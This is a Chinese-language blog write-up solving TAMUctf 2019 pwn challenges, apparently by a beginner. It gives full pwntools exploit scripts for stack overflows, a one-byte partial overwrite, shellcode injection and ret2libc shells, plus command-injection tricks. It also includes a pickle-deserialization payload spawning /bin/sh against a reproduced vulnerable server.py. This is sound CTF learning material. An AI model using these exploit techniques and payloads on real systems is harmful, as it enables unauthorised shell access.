Mi1k7ea

TAMUctf Pwn writeup

阅读量

虽然是灰常easy的题,但对我这种刚刚准备入门Pwn的菜鸡来说,再合适不过了。

Pwn1

题目如下:pwn1

运行程序,功能是询问你名字并让你输入内容;该ELF文件是动态链接的;checksec查看发现只有Canary没有打开:

打开IDA分析一下,gets()函数明显地存在栈溢出漏洞,且当v5变量等于一个值时便调用print_flag()函数输出flag:

右键v5所在的if条件对应的值>Hexadecimal,即可查看到该值的16进制表示为0xDEA110C8,也就是说,当v5的值为该值时,才会进行该逻辑输出flag。

结合前面的gets()栈溢出,这就很简单了,只需要栈溢出覆盖v5的值为0xDEA110C8,不需要自己去找system(‘/bin/sh’)来getshell了。

注意的是在溢出之前需要通过两次fgets()输入内容,且内容必须和前两个红框中的字符串一样。也就是说,需要先成功交互前面两个步骤,才会进入最后问你“What… is my secret?”逻辑:

计算一下偏移变量s到变量v5的偏移距离,由IDA得s=ebp-3Bh、v5=ebp-10h,则得出下图的结果:

一目了然,gets()从s处输入,当输入溢出到v5时即可覆盖该地址。此时偏移量为|(ebp-3Bh)-(ebp-10h)|=2B(h)=43(d)。

编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

sh = remote("pwn.tamuctf.com", 4321)

sh.sendline("Sir Lancelot of Camelot")
sh.recvuntil("What... is your quest?")

sh.sendline("To seek the Holy Grail.")
sh.recvuntil("What... is my secret?")

payload = flat(["A" * 43, p32(0xDEA110C8)])
sh.sendline(payload)
print sh.recvall()

直接getflag:

Pwn2

题目如下:pwn2

运行程序,功能是询问你想调用哪个函数并让你输入内容;该ELF文件是动态链接的;checksec查看发现只有Canary没有打开:

使用IDA打开查看,gets()函数说明存在明显的栈溢出,下面还存在一个select_func()函数,点进去看到v3变量初始值为two,然后将输入的参数复制31个字节到dest变量中,然后if语句判断当dest变量值为one时将one赋值给v3,最后调用v3()函数:

也就是说,存在one()函数和two()函数,在Functions窗口中可看到它们以及print_flag()函数。点进去看one()函数和two()函数并没有发现代码有什么东西。

这里注意到,select_func()函数的参数是从前面gets()函数获取的,也就是说,我们通过gets()输入的内容可以赋值给dest变量31个字节的内容。这里观察下这几个函数的地址:

one()函数地址为0x00000754,two()函数地址为0x000006AD,print_flag()函数地址为0x000006D8。

观察到,two()函数与print_flag()函数地址相差一个字节,即AD与D8。

回到前面select_func()函数中可看到,dest变量相对EBP偏移为ebp-2A,v3变量相对EBP偏移为ebp-C,则可知dest与v3之间相对偏移为|(ebp-2A)-(ebp-C)|=1E(h)=30(d)。可以得出如下的栈结构:

很清晰了,结合前面可以通过gets()给dest变量赋值31个字节,减去dest与v3之间偏移的20个字节,剩下1个字节可以溢出。而前面分析知道v3变量初始值为two,且two()函数地址和print_flag()函数地址只相差一个字节,那么就可以溢出这一个字节,将v3的初始值0x000006AD溢出为0x000006D8即可。

注意,两位1十六进制数等同于八位的二进制数,即2^4*2^4=2^8。一个字节=1bytes=8bits=八位二进制数=两位十六进制数。

编写payload:

1
2
3
4
5
6
7
from pwn import *

sh = remote("pwn.tamuctf.com", 4322)

payload = flat(["A" * 30, "\xD8"])
sh.sendline(payload)
print sh.recvall()

getflag:

Pwn3

题目如下:pwn3

运行程序,功能是给你一个地址并让你输入内容;该ELF文件是动态链接的;checksec查看发现Canary、NX没有打开,且有RWX即可读写执行的代码段,这里推测应该是一道写shellcode执行的题:

使用IDA打开查看,main()函数调用了echo()函数,在echo()函数中输出了变量s的地址,然后调用gets()函数获取输入内容到s中,明显存在栈溢出漏洞:

虽然程序开启了RELRO,但在开始就输出了s变量的地址,这样就可以通过gets()在s处写入shellcode内容,然后接着溢出够12Ah+4即298+4个字节后将获取到的s地址覆盖掉函数返回地址、使程序跳转至s处执行shellcode:

主要分两步,第1步往s写入shellcode并溢出至函数返回地址处;第2步是用s地址覆盖函数返回地址从而跳转至s处执行shellcode。

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = remote("pwn.tamuctf.com",4323)

sh.recvuntil("Take this, you might need it on your journey 0x")
addr = int(sh.recv(8), 16)
print addr

shellcode = asm(shellcraft.sh())
payload = flat([shellcode.ljust(0x12A + 4, "A"), p32(addr)])
sh.sendline(payload)
sh.interactive()

getshell:

Pwn4

题目如下:pwn4

运行程序,功能是询问你想调用ls命令查看哪个文件并让你输入内容,这里输入-l flag.txt看到输入flag.txt的内容;该ELF文件是动态链接的;checksec查看发现只开启了NX:

使用IDA打开分析,发现循环调用laas()函数:

进入laas()函数,gets()函数获取输出,存在栈溢出漏洞,然后比较s变量值是否为ASCII码为47即斜杠/,用来过滤跨目录的注入,若没有则传入s参数调用run_cmd()函数:

在run_cmd()函数未进行任何过滤直接调用system()函数执行系统命令:

是的,作为一个Web狗,第一直觉就是命令注入,然后getflag了:

但是吧,还是要按部就班地用Pwn的方法做。可以确定了,是利用ret2libc来实现getshell,因为这里已经有了system()函数,剩下的就是找/bin/sh字符串了。

打开String窗口,看到真的有/bin/sh字符串,地址为0x0804A034:

再看下call system()的地址,为0x080485AD:

和ret2libc1原理一致,如下图:

编写payload:

其实这里system_addr地址并非system()函数地址而是call system的地址,所以此处无需再添加返回地址。

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

sh = remote("pwn.tamuctf.com", 4324)

sh.recvuntil("Enter the arguments you would like to pass to ls:")

system_addr = 0x080485AD
binsh_addr = 0x0804A034
payload = flat(["A" * 0x21, "BBBB", system_addr, binsh_addr])
sh.sendline(payload)
sh.interactive()

getshell:

Pwn5

题目如下:pwn5

程序功能点和Pwn4一样;file命令查看该ELF文件是静态的,即和libc无关;checksec查看发现只开启了NX:

使用IDA打开分析,和Pwn4几乎一致,但是在run_cmd()函数赋值给v2变量的长度缩小为7个字节:

这里限制了输入命令的长度为7个字节,是否还能存在命令注入呢?像Pwn4那样肯定是行不通的,但是我们可以输入sh来打开shell:

当然,还有一种利用vi命令及:shell的骚姿势,输入;vi再输入:shell即可执行shell:

回到正轨,利用原理和Pwn4一样,laas()函数中的gets()存在栈溢出漏洞,打开String窗口寻找到“/bin/sh”,地址为0x080BC140:

而在Functions窗口中搜索system()函数得到其地址为0x0804EE30:

在Functions窗口中搜索exit()函数查看其地址为0x0804E330:

编写payload:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

sh = remote("pwn.tamuctf.com", 4325)

sh.recvuntil("Enter the arguments you would like to pass to ls:")

system_addr = 0x0804EE30
exit_addr = 0x0804E330
binsh_addr = 0x080BC140
payload = flat(["A" * (0xD + 4), system_addr, exit_addr, binsh_addr])
sh.sendline(payload)
sh.interactive()

getshell:

VeggieTales

题目如下,并没有给ELF文件,大概意思是我最爱看的节目同时也训练我的Python技能,我看了第5集至少13遍了:

蒙了,没有ELF,nc过去看看:

可以添加、打印、备份及加载你的观看列表。难道是黑盒堆溢出利用???肯定不是。

再看下提示,说一直看第5集,我们测它的功能的时候,在输入1时会让选择要第几个节目,观察到第5个节目内容如下:

“Dave and the Giant Pickle”,注意到Pickle,再联系hint中的Python,可以推测应该是Python的Pickle反序列化漏洞。

关于Python的Pickle反序列化漏洞可参考Python cPickle反序列化漏洞

逐个输入查看,添加第5集,然后输入2看到已添加进去,再输入3备份watch list、生成一个base64的东西,用于后面输入4时加载备份,当选项4中获取的输入内容不是该base64内容时会报错:

将该base64解码,得不到啥东西。

再回到hint,至少13次,由此可以推测,应该和ROT13算法有关吧。那就试下将该base64内容先进行ROT13解码再进行base64解码吧:

可以看到确实是包含该第5集的内容的,但是其中有一些非可见字符。

结合前面推测的Pickle反序列化漏洞,我们可以尝试在输入4选项即要求输入备份编码内容时,输入一段经过base64和ROT13加密的Pickle对象,其中包含字符串“Mi1k7ea”:

1
2
3
4
5
import codecs
import base64
import cPickle

print codecs.encode(str(base64.b64encode(cPickle.dumps(['Mi1k7ea']))), "rot-13")

cPickle.dumps()序列化一个列表为字符串,为啥不直接填字符串而加上[]呢?这是为了后面输入时输出在同一行好查看。content即为序列化后的字符串内容,再加密后输入到4选项中,再到2选项中查看,发现成功反序列化处该cPickle序列化对象,即证明了是cPickle反序列化漏洞了:

OK,现在就输入一段经过base64和ROT13加密的序列化对象,利用反序列化来触发该漏洞,编写代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
import codecs
import base64
import cPickle
import os
import subprocess

class Mi1k7ea(object):
def __reduce__(self):
# return (os.system, ('/bin/sh',))
return (subprocess.Popen, (('/bin/sh',),))

print codecs.encode(base64.b64encode(cPickle.dumps(Mi1k7ea())), "rot-13")

这里有个坑,一直尝试用os.system()执行命令的方式老出差、没法成功反序列化,卡了很久,但改用subprocess.Popen()却可以成功:

要想使用os.system()成功执行,不能使用codecs中的rot-13,我们可以使用系统tr 'A-Za-z' 'N-ZA-Mn-za-m'命令来实现:

题目源码server.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
my_episodes = []
all_episodes = ["1. Wheres God When Im S-Scared?","2. God Wants Me to Forgive Them!?!","3. Are You My Neighbor?","4. Rack, Shack and Benny","5. Dave and the Giant Pickle","6. The Toy That Saved Christmas","7. Larry-Boy! And the Fib from Outer Space!","8. Josh and the Big Wall!","9. Madame Blueberry","10. Larry-Boy and the Rumor Weed","11. King George and the Ducky","12. Esther... The Girl Who Became Queen","13. Lyle the Kindly Viking","14. The Star of Christmas","15. The Wonderful World of Autotainment","16. The Ballad of Little Joe","17. An Easter Carol","18. A Snoodles Tale","19. Sumo of the Opera","20. Duke and the Great Pie War","21. Minnesota Cuke and the Search for Samsons Hairbrush","22. Lord of the Beans","23. Sheerluck Holmes and the Golden Ruler","24. LarryBoy and the Bad Apple","25. Gideon: Tuba Warrior","26. Moe and the Big Exit","27. The Wonderful Wizard of Has","28. Tomato Sawyer and Huckleberry Larrys Big River Rescue","29. Abe and the Amazing Promise","30. Minnesota Cuke and the Search for Noahs Umbrella","31. Saint Nicholas: A Story of Joyful Giving","32. Pistachio - The Little Boy That Woodnt","33. Sweetpea Beauty: A Girl After Gods Own Heart","34. Its a Meaningful Life","35. Twas The Night Before Easter","36. Princess and the Popstar","37. The Little Drummer Boy","38. Robin Good And His Not-So Merry Men","39. The Penniless Princess","40. The League of Incredible Vegetables","41. The Little House That Stood","42. MacLarry and the Stinky Cheese Battle","43. Merry Larry and the True Light of Christmas","44. Veggies in Space: The Fennel Frontier","45. Celery Night Fever","46. Beauty and the Beet","47. Noahs Ark"]

def sortByNum(episode):
return int(episode[:episode.find('.')])

def add_episode():
for episode in all_episodes:
print("%s" % episode)
episode_num = str(input("Enter an episode (by number) to add to your watched list: "))
while not (episode_num.isdigit() and (0 < int(episode_num) < 48)):
episode_num = str(input("Enter a valid integer between 1 and 47!!"))
if all_episodes[int(episode_num)-1] in my_episodes:
print("That episode is already in your list.")
else:
my_episodes.append(all_episodes[int(episode_num)-1])
print("episode added!")
my_episodes.sort(key=sortByNum)

def check_list():
print("----------------------")
print("List of watched episodes:")
if len(my_episodes) == 0:
print(":(")
for episode in my_episodes:
print("%s" % episode)
print("----------------------")


def backup_list():
pickled = codecs.encode(str(base64.b64encode(pickle.dumps(my_episodes))),"rot-13").strip("o\'")
print("Episode list backup string (Don't lose it!): %s\n" % pickled)

def load_list():
answer = str(input("Load your backed up list here: "))
try:
global my_episodes
my_episodes = pickle.loads(base64.b64decode(codecs.encode(answer,"rot-13")))
print("Loaded backup\n")
except:
print("Invalid backup")

if __name__ == "__main__":
print("Do you like VeggieTales??")
message = "1. Add an episode to your watched list\n2. Print your watch list\n3. Backup your watch list\n4. Load your watch list\n"
while True:
listen = str(input(message))
if len(listen) == 1 and listen in "1234":
[add_episode, check_list, backup_list, load_list][int(listen) - 1]()
message = "1. Add an episode to your watched list\n2. Print your watch list\n3. Backup your watch list\n4. Load your watch list\n"
else:
message = "Error: Please choose from options 1-4!!\n"

看来这是一道归类到Pwn的Web题 : )

Pwn6

Pwn6没做出来也不会做,可以参考其他大佬的writeup:

pwn6 - Pwn

TAMUCTF 2019


Copyright © Mi1k7ea | 本站总访问量